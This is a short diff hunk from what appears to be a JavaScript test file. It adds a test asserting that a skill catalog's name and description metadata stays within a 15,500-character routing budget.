@@ -58,3 +61,10 @@ for (const name of names) {
check("SKILL.md", readFileSync(join(skillsDir, name, "SKILL.md"), "utf8"));
});
}
test("skill catalog stays within the phase-one routing budget", () => {
assert.ok(
catalogMetadataCharacters <= 15_500,
`name and description metadata is ${catalogMetadataCharacters} characters (budget 15500)`,
);
});